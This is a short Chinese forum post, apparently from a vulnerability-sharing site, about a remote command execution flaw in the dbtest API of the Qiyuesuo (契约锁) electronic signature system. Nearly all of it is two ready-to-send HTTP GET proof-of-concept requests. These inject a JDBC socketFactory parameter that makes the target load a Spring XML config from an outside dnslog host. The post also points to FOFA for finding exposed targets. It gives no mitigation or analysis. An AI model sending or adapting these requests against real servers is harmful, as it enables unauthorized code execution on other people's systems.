契约锁电子签章系统dbtest接口存在远程命令执行漏洞

admin

资产确认：FOFA

游客，如果您要查看本帖隐藏内容请回复

POC 1

GET /api/setup/dbtest?db=POSTGRESQL&host=localhost&port=5511&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2Fdxugqgrfejgjdekb.2bi2sq.dnslog.cn%2F1%2Exml HTTP/1.1
Host: xx.xx.xx.xxx
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive



POC2


GET /setup/dbtest?db=POSTGRESQL&host=localhost&port=5511&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2Fdxugqgrfejgjdekb.2bi2sq.dnslog.cn%2F1%2Exml HTTP/1.1
Host: xx.xx.xx.xxx
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive